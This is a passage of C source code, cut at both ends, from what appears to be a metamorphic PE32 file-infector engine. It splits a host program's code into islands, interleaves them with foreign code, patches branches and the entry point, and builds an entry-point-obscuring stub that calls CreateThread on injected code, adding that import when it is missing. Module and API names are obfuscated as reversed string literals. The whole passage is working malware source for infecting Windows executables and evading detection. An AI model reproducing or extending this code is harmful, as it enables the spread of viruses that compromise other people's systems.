            for(pSourcePool=pCodeX86AbstractionIslandTable, pDestinationPool=pNewCodeX86AbstractionIslandTable, dwX=0; dwX < sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands); dwX++)
            {
                pDestinationPool[dwX]=pSourcePool[dwX];
            }
            
            //memcpy(pNewCodeX86AbstractionIslandTable, pCodeX86AbstractionIslandTable, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (sizeof(X86_CODE_ISLAND_ABSTRACTION) * pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands));
            
            pAPITable->GlobalFree(pCodeX86AbstractionIslandTable);
            
            pCodeX86AbstractionIslandTable=pNewCodeX86AbstractionIslandTable;
            
            pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands++;
            pCodeX86AbstractionIslandTable->CodeIslands[pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pInitialX86CodeIslandInstruction=pCurrentX86InstructionAbstraction;
            
            bInitializeCodeIsland=FALSE;
        }
        else if((pAPITable->Rand() % 10) == 0 && pCurrentX86InstructionAbstraction != pCodeX86InstructionAbstractions)
        {
            if(!(pCurrentX86InstructionAbstraction->dwExtendedFlags & (X86InstructionExtendedFlagBranch|X86InstructionExtendedFlagSwitch)) && pCurrentX86InstructionAbstraction->dwDataSize == 0)
            {
                pNextX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                
                if(pNextX86InstructionAbstraction != NULL)
                {
                    if(!(pNextX86InstructionAbstraction->dwExtendedFlags & (X86InstructionExtendedFlagBranch|X86InstructionExtendedFlagSwitch)) && pNextX86InstructionAbstraction->dwDataSize == 0)
                    {
                        bInitializeCodeIsland=TRUE;
                        
                        pCodeX86AbstractionIslandTable->CodeIslands[pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction=pCurrentX86InstructionAbstraction;
                    }
                }
            }
        }
        
        pPreviousX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
        pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
    }

    if(!bInitializeCodeIsland)
    {
        pCodeX86AbstractionIslandTable->CodeIslands[pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands].pFinalX86CodeIslandInstruction=pPreviousX86InstructionAbstraction;
    }

    return pCodeX86AbstractionIslandTable;
}

PX86_CODE_ISLAND_ABSTRACTION_TABLE
IntertwineCodeIslandTables
(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pPrimaryX86CodeIslandTable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pSecondaryX86CodeIslandTable)
{
    PX86_CODE_ISLAND_ABSTRACTION_TABLE pIntertwinedX86CodeIslandTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ISLAND_ABSTRACTION_TABLE) + (((pPrimaryX86CodeIslandTable->dwNumberOfCodeIslands + 1) + (pSecondaryX86CodeIslandTable->dwNumberOfCodeIslands + 1)) * sizeof(X86_CODE_ISLAND_ABSTRACTION)));
    DWORD dwCurrentPrimaryCodeIslandTableIndex, dwCurrentSecondaryCodeIslandTableIndex, dwCurrentIntertwinedCodeIslandTableIndex;
    
    pIntertwinedX86CodeIslandTable->dwNumberOfCodeIslands=(pPrimaryX86CodeIslandTable->dwNumberOfCodeIslands + pSecondaryX86CodeIslandTable->dwNumberOfCodeIslands + 1);
    pIntertwinedX86CodeIslandTable->pOEPX86InstructionAbstraction=pPrimaryX86CodeIslandTable->pOEPX86InstructionAbstraction;

    for(dwCurrentPrimaryCodeIslandTableIndex=0, dwCurrentSecondaryCodeIslandTableIndex=0, dwCurrentIntertwinedCodeIslandTableIndex=0; dwCurrentPrimaryCodeIslandTableIndex <= pPrimaryX86CodeIslandTable->dwNumberOfCodeIslands;)
    {
        pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pInitialX86CodeIslandInstruction=pPrimaryX86CodeIslandTable->CodeIslands[dwCurrentPrimaryCodeIslandTableIndex].pInitialX86CodeIslandInstruction;
        pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pFinalX86CodeIslandInstruction=pPrimaryX86CodeIslandTable->CodeIslands[dwCurrentPrimaryCodeIslandTableIndex].pFinalX86CodeIslandInstruction;
        
        dwCurrentIntertwinedCodeIslandTableIndex++;
        dwCurrentPrimaryCodeIslandTableIndex++;
        
        if(dwCurrentSecondaryCodeIslandTableIndex <= pSecondaryX86CodeIslandTable->dwNumberOfCodeIslands)
        {
            pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pInitialX86CodeIslandInstruction=pSecondaryX86CodeIslandTable->CodeIslands[dwCurrentSecondaryCodeIslandTableIndex].pInitialX86CodeIslandInstruction;
            pIntertwinedX86CodeIslandTable->CodeIslands[dwCurrentIntertwinedCodeIslandTableIndex].pFinalX86CodeIslandInstruction=pSecondaryX86CodeIslandTable->CodeIslands[dwCurrentSecondaryCodeIslandTableIndex].pFinalX86CodeIslandInstruction;
            
            dwCurrentIntertwinedCodeIslandTableIndex++;
            dwCurrentSecondaryCodeIslandTableIndex++;
        }
    }
    
    return pIntertwinedX86CodeIslandTable;
}

BOOL
SolidifyX86CodeIslandAbstractions
(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable, PBYTE *ppSolidifiedCodePool, PDWORD pdwSolidifiedCodePoolSize, PBYTE pTargetPE32Pool)
{
    PIMAGE_DOS_HEADER pTargetImageDOSHeader;
    PIMAGE_FILE_HEADER pTargetImageFileHeader;
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader;
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader;
    DWORD dwCodeSectionIndex, dwCodeSectionNameString[2];
    
    dwCodeSectionNameString[0]='xet.';
    dwCodeSectionNameString[1]='t';
    
    if(pTargetPE32Pool != NULL)
    {
        pTargetImageDOSHeader=pTargetPE32Pool;
        pTargetImageFileHeader=(PBYTE)pTargetPE32Pool + pTargetImageDOSHeader->e_lfanew + 4;
        pTargetImageOptionalHeader=(PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER);
        pTargetImageSectionHeader=(PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER);
        
        if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1)
        {
            //printf("[-] Failed to locate a .text section within the target file.\r\n");
            
            return FALSE;
        }
    }
    
    DWORD dwSolidifiedCodePoolSize=*pdwSolidifiedCodePoolSize, dwSolidifiedCodePoolOffset=0, dwCurrentCodeIslandIndex, dwX;
    PBYTE pSolidifiedCodePool=pAPITable->GlobalAlloc(GPTR, dwSolidifiedCodePoolSize);
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction=NULL, pDestinationX86InstructionAbstraction=NULL;
    LONG lRelativeDestinationOffset;
    
    for(dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++)
    {
        pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction;
        
        while(pCurrentX86InstructionAbstraction != NULL)
        {
            pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree;

            if(pCurrentX86InstructionAbstraction == pCodeX86AbstractionIslandTable->pOEPX86InstructionAbstraction && pTargetPE32Pool != NULL)
            {
                pTargetImageOptionalHeader->AddressOfEntryPoint=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pCurrentX86InstructionAbstraction->dwInstructionOffset);
            }
        
            if(pCurrentX86InstructionAbstraction->dwInstructionLength != 0)
            {
                for(dwX=0; dwX < pCurrentX86InstructionAbstraction->dwInstructionLength; dwX++)
                {
                    pSolidifiedCodePool[dwSolidifiedCodePoolOffset + dwX]=pCurrentX86InstructionAbstraction->Data[dwX];
                }
                //memcpy(pSolidifiedCodePool + dwSolidifiedCodePoolOffset, pCurrentX86InstructionAbstraction->Data, pCurrentX86InstructionAbstraction->dwInstructionLength);
                
                if(pDestinationX86InstructionAbstraction != NULL)
                {
                    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown))
                    {
                        //printf(" Unknown branch with a link associated to it?\r\n");
                        
                        //system("pause");
                    }
                    
                    lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength));
                    
                    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch8))
                    {
                        (CHAR)pSolidifiedCodePool[dwSolidifiedCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(CHAR)lRelativeDestinationOffset;
                    }
                    else if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch32))
                    {
                        *(PDWORD)&pSolidifiedCodePool[dwSolidifiedCodePoolOffset + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes + 1]=lRelativeDestinationOffset;
                    }
                }
                
                dwSolidifiedCodePoolOffset += pCurrentX86InstructionAbstraction->dwInstructionLength;
            }
            else if(pCurrentX86InstructionAbstraction->dwDataSize != 0)
            {
                for(dwX=0; dwX < pCurrentX86InstructionAbstraction->dwDataSize; dwX++)
                {
                    pSolidifiedCodePool[dwSolidifiedCodePoolOffset + dwX]=pCurrentX86InstructionAbstraction->Data[dwX];
                }
                //memcpy(pSolidifiedCodePool + dwSolidifiedCodePoolOffset, pCurrentX86InstructionAbstraction->Data, pCurrentX86InstructionAbstraction->dwDataSize);
                
                dwSolidifiedCodePoolOffset += pCurrentX86InstructionAbstraction->dwDataSize;
            }
            else
            {
                RelocateMemory(pSolidifiedCodePool + dwSolidifiedCodePoolOffset, pCurrentX86InstructionAbstraction->pExtendedDataPool, pCurrentX86InstructionAbstraction->dwExtendedDataSize);
                
                dwSolidifiedCodePoolOffset += pCurrentX86InstructionAbstraction->dwExtendedDataSize;
            }
                   
            if(pCurrentX86InstructionAbstraction == pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction)
            {
                break;
            }
                   
            pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
        }
    }
    
    *ppSolidifiedCodePool=pSolidifiedCodePool;
    *pdwSolidifiedCodePoolSize=dwSolidifiedCodePoolSize;
    
    return TRUE;
}

BOOL
Shrink32BitX86BranchIslandAbstractions
(PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeX86AbstractionIslandTable)
{
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction, pDestinationX86InstructionAbstraction=NULL;
    LONG lRelativeDestinationOffset=0;
    DWORD dwCurrentCodeIslandIndex;
    
    RefreshEtherealX86InstructionIslandTable(pCodeX86AbstractionIslandTable);
    
    for(dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pCodeX86AbstractionIslandTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++)
    {
        pCurrentX86InstructionAbstraction=pCodeX86AbstractionIslandTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction;
        
        // Shrink short distance 32-bit branches to 8-bit
        
        while(pCurrentX86InstructionAbstraction != NULL)
        {
            pDestinationX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pX86InstructionAbstractionBranchTree;
            
            if(pCurrentX86InstructionAbstraction->dwDataSize == 0)
            {
                if(pDestinationX86InstructionAbstraction != NULL)
                {
                    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranchUnknown))
                    {
                        //printf("[*] Unknown branch with a link associated to it?\r\n");
                        
                        //system("pause");
                    }
                    
                    lRelativeDestinationOffset=(pDestinationX86InstructionAbstraction->dwInstructionOffset - (pCurrentX86InstructionAbstraction->dwInstructionOffset + pCurrentX86InstructionAbstraction->dwInstructionLength));
                    
                    if((pCurrentX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagBranch32))
                    {
                        if(lRelativeDestinationOffset <= 127 && lRelativeDestinationOffset >= -128 && pCurrentX86InstructionAbstraction->Opcode != 0xE8) // No such thing as an 8-bit Call
                        {
                            // 32->8-bit opcode and operand
                            
                            if((pCurrentX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F)) // Jcc32
                            {  
                                pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=(0x70 + (pCurrentX86InstructionAbstraction->Data[pCurrentX86InstructionAbstraction->dwNumberOfPrefixes] - 0x80)); // Build new Jcc based on old type
                                    
                                pCurrentX86InstructionAbstraction->dwNumberOfPrefixes=0;
                            }
                            else if(pCurrentX86InstructionAbstraction->Opcode == 0xE9) // Jmp32
                            {
                                pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0xEB; // Jmp8
                            }
                            else
                            {
                                //printf("[*] Fatal error: anomalous 32-bit branch detected.\r\n");
                                
                                //system("pause");
                                
                                return FALSE;
                            }
                            
                            pCurrentX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagPrefix0F;
                            pCurrentX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagBranch32;
                            pCurrentX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagBranch8;
                            
                            pCurrentX86InstructionAbstraction->lBranchDestinationOffset=pCurrentX86InstructionAbstraction->Data[1]=(CHAR)lRelativeDestinationOffset;
                            
                            pCurrentX86InstructionAbstraction->dwInstructionLength=(2 + pCurrentX86InstructionAbstraction->dwNumberOfPrefixes);
                        }
                    }
                }
            }
            
            pCurrentX86InstructionAbstraction=pCurrentX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
        }
    }
    
    RefreshEtherealX86InstructionIslandTable(pCodeX86AbstractionIslandTable);
    
    return TRUE;
}

DWORD
GetSectionIndexByName
(PAPI_TABLE pAPITable, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, PCHAR pSectionName)
{
    DWORD dwX, dwSectionIndex=-1;
    
    for(dwX=0; dwX < dwNumberOfSections; dwX++)
    {
        if(pAPITable->lstrcmpA((pTargetImageSectionHeader + dwX)->Name, pSectionName) == 0)
        {
            dwSectionIndex=dwX;
            
            break;
        }
    }
    
    return dwSectionIndex;
}

PIMAGE_SECTION_HEADER
GetEnclosingSectionHeader
(PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA, PDWORD pdwEnclosingSectionIndex, PBOOL pbSectionEndReference)
{
    PIMAGE_SECTION_HEADER pCurrentSectionHeader=pTargetImageSectionHeader;
    DWORD dwX;
   
    *pbSectionEndReference=FALSE;
    
    for(dwX=0; dwX < dwNumberOfSections; dwX++, pCurrentSectionHeader++)
    {
        DWORD dwSize;
      
        if(pCurrentSectionHeader->Misc.VirtualSize > pCurrentSectionHeader->SizeOfRawData)
        {
            dwSize=pCurrentSectionHeader->Misc.VirtualSize;
        }
        else
        {
            dwSize=pCurrentSectionHeader->SizeOfRawData;
        }
         
        // Is the RVA within this section?
      
        if((dwRVA >= pCurrentSectionHeader->VirtualAddress) && (dwRVA <= (pCurrentSectionHeader->VirtualAddress + dwSize)))
        {
            if(pdwEnclosingSectionIndex != NULL)
            {
                *pdwEnclosingSectionIndex=dwX;
            }
            
            if(dwRVA == (pCurrentSectionHeader->VirtualAddress + dwSize))
            {
                if(dwSize == pCurrentSectionHeader->Misc.VirtualSize && dwRVA != (pCurrentSectionHeader + 1)->VirtualAddress)
                {
                    *pbSectionEndReference=TRUE;
                         
                    return NULL;
                }
                else
                {
                    continue; // This is not an end of section reference, it is a reference to the begining of the next section.
                }
            }
            
            return pCurrentSectionHeader;
        }
    }
   
    return NULL;
}

PVOID
SolidifyEtherealAddress
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PIMAGE_SECTION_HEADER pTargetImageSectionHeader, DWORD dwNumberOfSections, DWORD dwRVA)
{
   PIMAGE_SECTION_HEADER pEnclosingSectionHeader;
   int nDelta;
   BOOL bSectionEndReference;
   PBYTE pPhysicalAddress=NULL;
     
   if((pEnclosingSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, dwNumberOfSections, dwRVA, NULL, &bSectionEndReference)) == NULL)
   {
       if(pTargetImageSectionHeader->VirtualAddress > dwRVA)
       {
           // Assume that the RVA is within the PE32 header
           
           return (pTargetPE32Pool + dwRVA);
       }
       else
       {
           return NULL;
       }
   }

   nDelta=(int)(pEnclosingSectionHeader->VirtualAddress - pEnclosingSectionHeader->PointerToRawData);
   pPhysicalAddress=(PBYTE)((int)pTargetPE32Pool + (int)dwRVA - nDelta);
   
   return (pAPITable->IsBadReadPtr(pPhysicalAddress, 1) ? NULL : pPhysicalAddress);
}

VOID
RelocateMemory
(PBYTE pDestinationPool, PBYTE pSourcePool, DWORD dwDataSize)
{
    DWORD dwX;
    
    for(dwX=0; dwX < dwDataSize; dwX++)
    {
        pDestinationPool[dwX]=pSourcePool[dwX];
    }
    
    return;
}

VOID
WipeMemory
(PBYTE pDestinationPool, DWORD dwDataSize)
{
    DWORD dwX;
    
    for(dwX=0; dwX < dwDataSize; dwX++)
    {
        pDestinationPool[dwX]=0;
    }
    
    return;
}

PIMPORTED_FUNCTION_ABSTRACTION
SelectRandomImportedFunctionAbstraction
(PAPI_TABLE pAPITable, PIMPORTED_MODULE_ABSTRACTION pImportAbstraction)
{
    DWORD dwSelectedIndex=(pAPITable->Rand() % pImportAbstraction->dwNumberOfFunctions), dwCurrentIndex;
    PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction;
    
    //printf("[*] Random index %d selected from module %s with %d imported functions.\r\n", dwSelectedIndex, pImportAbstraction->pModuleName, pImportAbstraction->dwNumberOfFunctions);
    
    for(dwCurrentIndex=0, pCurrentImportedFunctionAbstraction=pImportAbstraction->pImportedFunctionAbstractionList; pCurrentImportedFunctionAbstraction != NULL; pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction, dwCurrentIndex++)
    {
        if(dwCurrentIndex == dwSelectedIndex)
        {
            break;
        }
    }
    
    return pCurrentImportedFunctionAbstraction;
}

PX86_CODE_ABSTRACTION_TABLE
InsertEPOSequence
(PAPI_TABLE pAPITable, PPE32_ABSTRACTION_TABLE pPrimaryPE32Abstraction, PX86_INSTRUCTION_ABSTRACTION pRedirectionDestinationInstruction, BOOL bEntryPoint, BOOL bGermInstance)
{
    /*
    
    Push VolatileReg1
    Push VolatileReg2
    Push VolatileReg3
    Push VolatileReg4
    Push 0
    Push 0
    Push 0
    Push <Target Address>
    Push 0
    Push 0
    Call Dword [Kernel32.dll!CreateThread]
    Pop VolatileReg4
    Pop VolatileReg3
    Pop VolatileReg2
    Pop VolatileReg1
    
    */
    
    BYTE VolatileRegisters[4];
    DWORD dwX, dwY, dwZ;
    BOOL bRegisterAnchored;
    DWORD dwMessageString[3];
    
    // Shuffle the order of volatile x86 registers
    
    for(dwX=0; dwX < 4; dwX++)
    {
        VolatileRegisters[dwX]=-1;
    }
    
    for(dwX=0; dwX < 4;)
    {
        dwZ=(pAPITable->Rand() % 4);
        
        for(bRegisterAnchored=FALSE, dwY=0; dwY < (dwX + 1); dwY++)
        {
            if(VolatileRegisters[dwY] == dwZ)
            {
                bRegisterAnchored=TRUE;
            }
        }
        
        if(!bRegisterAnchored)
        {
            VolatileRegisters[dwX]=dwZ;
            
            dwX++;
        }
    }
    
    // Identify the final address abstraction of the primary PE32
    
    PRELOCATION_ABSTRACTION pCurrentAddressAbstraction, pFinalAddressAbstraction;
    
    for(pCurrentAddressAbstraction=pPrimaryPE32Abstraction->pRelocationAbstractions; pCurrentAddressAbstraction != NULL; pCurrentAddressAbstraction=pCurrentAddressAbstraction->pNextRelocationAssociation)
    {
        pFinalAddressAbstraction=pCurrentAddressAbstraction;
    }
    
    PIMPORTED_MODULE_ABSTRACTION pCurrentImportAbstraction, pKernel32ImportAbstraction=NULL;
    PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction, pRandomImportedKernel32FunctionAbstraction=NULL, pCreateThreadImportedFunctionAbstraction=NULL;
    DWORD dwKernel32NameString[4], dwCreateThreadNameString[4];
    
    dwKernel32NameString[0]='nreK';
    dwKernel32NameString[1]='23le';
    dwKernel32NameString[2]='lld.';
    dwKernel32NameString[3]=0;
    
    dwCreateThreadNameString[0]='aerC';
    dwCreateThreadNameString[1]='hTet';
    dwCreateThreadNameString[2]='daer';
    dwCreateThreadNameString[3]=0;
    
    // Determine whether or not CreateThread already resides within the IAT of the primary PE32. If it does not, intertwine it.
    
    for(pCurrentImportAbstraction=pPrimaryPE32Abstraction->pImportAbstractions->pFirstImportedModuleAbstraction; pCurrentImportAbstraction != NULL; pCurrentImportAbstraction=pCurrentImportAbstraction->pNextImportedModuleAbstraction)
    {
        if(pAPITable->lstrcmpiA(pCurrentImportAbstraction->pModuleName, &dwKernel32NameString) == 0)
        {
            pKernel32ImportAbstraction=pCurrentImportAbstraction;
            
            for(pCurrentImportedFunctionAbstraction=pCurrentImportAbstraction->pImportedFunctionAbstractionList; pCurrentImportedFunctionAbstraction != NULL; pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction)
            {
                if(pAPITable->lstrcmpiA(pCurrentImportedFunctionAbstraction->pFunctionName, &dwCreateThreadNameString) == 0)
                {
                    pCreateThreadImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction;
                    
                    break;
                }
            }
            
            if(pCreateThreadImportedFunctionAbstraction != NULL)
            {
                break;
            }
        }
    }
    
    if(pCreateThreadImportedFunctionAbstraction == NULL)
    {
        //printf("[*] CreateThread API is missing from primary PE32\r\n");
        
        if(pKernel32ImportAbstraction != NULL)
        {
            pCreateThreadImportedFunctionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(IMPORTED_FUNCTION_ABSTRACTION));
            
            pCreateThreadImportedFunctionAbstraction->pFunctionName=pAPITable->GlobalAlloc(GPTR, 64);
            pCreateThreadImportedFunctionAbstraction->pContainerImportedModuleAbstraction=pKernel32ImportAbstraction;
            
            pAPITable->lstrcpyA(pCreateThreadImportedFunctionAbstraction->pFunctionName, &dwCreateThreadNameString);
            
            pRandomImportedKernel32FunctionAbstraction=SelectRandomImportedFunctionAbstraction(pAPITable, pKernel32ImportAbstraction);
            
            pCreateThreadImportedFunctionAbstraction->pPreviousImportedFunctionAbstraction=pRandomImportedKernel32FunctionAbstraction;
            pCreateThreadImportedFunctionAbstraction->pNextImportedFunctionAbstraction=pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction;
            
            if(pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction != NULL)
            {
                pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction->pPreviousImportedFunctionAbstraction=pCreateThreadImportedFunctionAbstraction;
            }
            
            pRandomImportedKernel32FunctionAbstraction->pNextImportedFunctionAbstraction=pCreateThreadImportedFunctionAbstraction;
            
            pKernel32ImportAbstraction->dwNumberOfFunctions++;
            pPrimaryPE32Abstraction->pImportAbstractions->dwTotalNumberOfFunctions++;
            
            ////system("pause");
        }
        else
        {
            //printf("[-] Kernel32.dll module is missing from imports.\r\n");
            
            //system("pause");
        }
    }
    
    PX86_INSTRUCTION_ABSTRACTION pCurrentX86InstructionAbstraction, pPreviousX86InstructionAbstraction, pLastEPOSequenceInstructionAbstraction;
    PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction;
    PX86_CODE_ABSTRACTION_TABLE pSynonymousEPOCodeAbstractionTable, pEPOCodeAbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(X86_CODE_ABSTRACTION_TABLE));
    
    for(dwX=0, dwY=0; dwX < 15; dwX++, pEPOCodeAbstractionTable->dwNumberOfInstructions++, pEPOCodeAbstractionTable->dwTotalCodeSize += pCurrentX86InstructionAbstraction->dwInstructionLength)
    {
        pCurrentX86InstructionAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(X86_INSTRUCTION_ABSTRACTION));
        
        if(dwX < 4)
        {
            // Push VolatileRegister
            
            pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=(0x50 + VolatileRegisters[dwY]);
            pCurrentX86InstructionAbstraction->dwInstructionLength=1;
            pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
            pCurrentX86InstructionAbstraction->DestinationRegister=VolatileRegisters[dwY];
            
            dwY++;
        }
        else if(dwX == 7)
        {
            // Push <Target Address>
            
            pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0x68;
            pCurrentX86InstructionAbstraction->dwInstructionLength=5;
            pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData32;
            
            // Symbolically indicate this constant to be an absolute address, referencing the destination instruction
            
            pCurrentRelocationAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION));
            
            pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction;
            pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=pPrimaryPE32Abstraction->dwCodeSectionIndex;
            pCurrentRelocationAbstraction->pReferencedSymbol=pRedirectionDestinationInstruction;
            pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex=pPrimaryPE32Abstraction->dwCodeSectionIndex;
            pCurrentRelocationAbstraction->dwFlags=(RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION|RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE);
            
            pFinalAddressAbstraction->pNextRelocationAssociation=pCurrentRelocationAbstraction;
            pFinalAddressAbstraction=pCurrentRelocationAbstraction;
            
            pCurrentX86InstructionAbstraction->dwDataOffset=1;
            pCurrentX86InstructionAbstraction->pDataRelocationAbstraction=pCurrentRelocationAbstraction;
        }
        else if(dwX < 10)
        {
            // Push 0
            
            pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0x6A;
            pCurrentX86InstructionAbstraction->dwInstructionLength=2;
            pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagData8;
            pCurrentX86InstructionAbstraction->dwDataOffset=1;
        }
        else if(dwX > 10)
        {
            // Pop VolatileRegister
            
            dwY--;
            
            pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=(0x58 + VolatileRegisters[dwY]);
            pCurrentX86InstructionAbstraction->dwInstructionLength=1;
            pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
            pCurrentX86InstructionAbstraction->DestinationRegister=VolatileRegisters[dwY];
        }
        else
        {
            // Call Dword [Kernel32.dll!CreateThread]
            
            pCurrentX86InstructionAbstraction->Opcode=pCurrentX86InstructionAbstraction->Data[0]=0xFF;
            pCurrentX86InstructionAbstraction->ModRM=pCurrentX86InstructionAbstraction->Data[1]=0x15;
            pCurrentX86InstructionAbstraction->Reg=0x02;
            pCurrentX86InstructionAbstraction->Rm=0x05;
            pCurrentX86InstructionAbstraction->WBit=1;
            pCurrentX86InstructionAbstraction->WBitOpcode=0xFE;
            pCurrentX86InstructionAbstraction->dwMemoryOffset=2;
            pCurrentX86InstructionAbstraction->dwInstructionLength=6;
            pCurrentX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagMemory32|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
            pCurrentX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagBranchUnknown|X86InstructionExtendedFlagExtendedOpcode|X86InstructionExtendedFlag32BitSingleModRM;
            
            pCurrentRelocationAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION));
            
            pCurrentRelocationAbstraction->pLocationSymbol=pCurrentX86InstructionAbstraction;
            pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=pPrimaryPE32Abstraction->dwCodeSectionIndex;
            pCurrentRelocationAbstraction->pReferencedSymbol=pCreateThreadImportedFunctionAbstraction;
            pCurrentRelocationAbstraction->dwFlags=(RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION|RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE);
            
            pFinalAddressAbstraction->pNextRelocationAssociation=pCurrentRelocationAbstraction;
            pFinalAddressAbstraction=pCurrentRelocationAbstraction;
            
            pCurrentX86InstructionAbstraction->pMemoryRelocationAbstraction=pCurrentRelocationAbstraction;
        }
        
        if(pEPOCodeAbstractionTable->pInitialX86InstructionAbstraction == NULL)
        {
            pEPOCodeAbstractionTable->pInitialX86InstructionAbstraction=pCurrentX86InstructionAbstraction;
            
            if(bEntryPoint)
            {
                pCurrentX86InstructionAbstraction->dwExtendedFlags |= (X86InstructionExtendedFlagEntryPoint|X86InstructionExtendedFlagReferencedAddress);
            }
        }
        else
        {
